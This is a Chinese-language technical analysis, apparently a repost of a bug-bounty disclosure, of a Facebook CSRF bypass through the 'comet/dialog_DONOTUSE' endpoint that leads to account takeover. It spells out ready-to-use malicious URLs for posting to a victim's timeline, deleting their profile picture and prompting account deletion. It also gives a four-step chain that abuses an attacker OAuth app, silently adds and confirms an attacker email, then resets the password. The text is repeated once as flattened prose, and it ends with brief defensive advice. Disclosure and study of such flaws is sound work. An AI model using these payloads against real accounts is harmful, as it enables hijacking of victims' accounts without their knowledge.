绕过Facebook CSRF保护——导致帐户接管。
字数 1097 2025-08-27 12:33:48

Facebook CSRF漏洞导致账户接管技术分析

漏洞概述

本漏洞利用Facebook的一个易受攻击端点绕过CSRF保护机制,通过精心构造的恶意链接实现受害者账户的完全接管。攻击者需要诱骗受害者点击特定链接,即可在受害者不知情的情况下执行多种账户操作,包括添加新邮箱/电话号码、删除账户信息,最终实现账户接管。

核心漏洞点

易受攻击端点

https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX

其中XXXX是攻击者指定的任意Facebook端点及参数,系统会自动添加CSRF令牌(fb_dtsg)并发出POST请求。

攻击能力展示

通过此漏洞可执行的操作示例:

  1. 在时间线上发布内容
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/api/graphql/%3fdoc_id=1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}}
  1. 删除个人资料图片
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/profile/picture/remove_picture/%3fdelete_from_album=1%26profile_id={TARGET_ID}
  1. 欺骗用户删除账户(通过修改语言参数):
https://www.facebook.com/comet/dialog_DONOTUSE/?url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR

账户接管技术细节

攻击流程概述

  1. 授权攻击者应用获取访问令牌
  2. 添加新的联系信息(邮箱/电话)
  3. 获取并确认验证码
  4. 通过重置密码接管账户

详细攻击步骤

第一步:获取访问令牌

构造URL诱使用户授权攻击者应用:

https://www.facebook.com/comet/dialog_DONOTUSE/?url=/ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog

关键点:

  • 使用/v3.2/dialog/oauth绕过Facebook的重定向保护
  • 获取的访问令牌用于识别特定受害者
  • 应用已预先授权,无需用户额外交互

第二步:添加新联系信息

攻击者网站接收令牌后,构造添加联系信息的请求:

https://www.facebook.com/comet/dialog_DONOTUSE/?url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK}

功能说明:

  1. 使用/add_contactpoint/dialog/submit/端点将邮箱关联到用户账户(无需密码确认)
  2. 操作完成后重定向到"next"参数指定的OAuth端点
  3. 再次重定向回攻击者域名,携带新的access_token

第三步:确认联系信息

攻击者网站:

  1. 提取用户ID
  2. 搜索收到的确认邮件
  3. 重定向用户到确认链接:
https://www.facebook.com/confirmcontact.php?c={CODE}&z=0&gfid={HASH}

替代方案:使用/confirm_code/dialog/submit/端点完成确认,利用其"next"参数将用户重定向到主页。

第四步:重置密码

完成邮箱添加和确认后,攻击者可通过标准密码重置流程完全接管账户。

技术要点总结

  1. CSRF绕过:利用comet/dialog_DONOTUSE端点自动添加CSRF令牌
  2. OAuth滥用:利用预先授权的应用获取访问令牌
  3. 重定向链:精心构造的重定向链绕过Facebook的安全检查
  4. 自动化流程:整个攻击可在用户无感知的情况下快速完成

防御建议

  1. Facebook应修复comet/dialog_DONOTUSE端点的CSRF保护缺陷
  2. 用户应避免点击不明来源的Facebook链接
  3. 启用双因素认证可增加攻击难度
  4. 定期检查账户关联的邮箱和电话号码

此漏洞展示了即使像Facebook这样拥有强大安全团队的平台,也可能存在复杂的安全隐患,强调了持续安全审计的重要性。

Facebook CSRF漏洞导致账户接管技术分析 漏洞概述 本漏洞利用Facebook的一个易受攻击端点绕过CSRF保护机制,通过精心构造的恶意链接实现受害者账户的完全接管。攻击者需要诱骗受害者点击特定链接,即可在受害者不知情的情况下执行多种账户操作,包括添加新邮箱/电话号码、删除账户信息,最终实现账户接管。 核心漏洞点 易受攻击端点 : 其中 XXXX 是攻击者指定的任意Facebook端点及参数,系统会自动添加CSRF令牌( fb_dtsg )并发出POST请求。 攻击能力展示 通过此漏洞可执行的操作示例: 在时间线上发布内容 : 删除个人资料图片 : 欺骗用户删除账户 (通过修改语言参数): 账户接管技术细节 攻击流程概述 授权攻击者应用获取访问令牌 添加新的联系信息(邮箱/电话) 获取并确认验证码 通过重置密码接管账户 详细攻击步骤 第一步:获取访问令牌 构造URL诱使用户授权攻击者应用: 关键点: 使用 /v3.2/dialog/oauth 绕过Facebook的重定向保护 获取的访问令牌用于识别特定受害者 应用已预先授权,无需用户额外交互 第二步:添加新联系信息 攻击者网站接收令牌后,构造添加联系信息的请求: 功能说明: 使用 /add_contactpoint/dialog/submit/ 端点将邮箱关联到用户账户(无需密码确认) 操作完成后重定向到"next"参数指定的OAuth端点 再次重定向回攻击者域名,携带新的access_ token 第三步:确认联系信息 攻击者网站: 提取用户ID 搜索收到的确认邮件 重定向用户到确认链接: 替代方案:使用 /confirm_code/dialog/submit/ 端点完成确认,利用其"next"参数将用户重定向到主页。 第四步:重置密码 完成邮箱添加和确认后,攻击者可通过标准密码重置流程完全接管账户。 技术要点总结 CSRF绕过 :利用 comet/dialog_DONOTUSE 端点自动添加CSRF令牌 OAuth滥用 :利用预先授权的应用获取访问令牌 重定向链 :精心构造的重定向链绕过Facebook的安全检查 自动化流程 :整个攻击可在用户无感知的情况下快速完成 防御建议 Facebook应修复 comet/dialog_DONOTUSE 端点的CSRF保护缺陷 用户应避免点击不明来源的Facebook链接 启用双因素认证可增加攻击难度 定期检查账户关联的邮箱和电话号码 此漏洞展示了即使像Facebook这样拥有强大安全团队的平台,也可能存在复杂的安全隐患,强调了持续安全审计的重要性。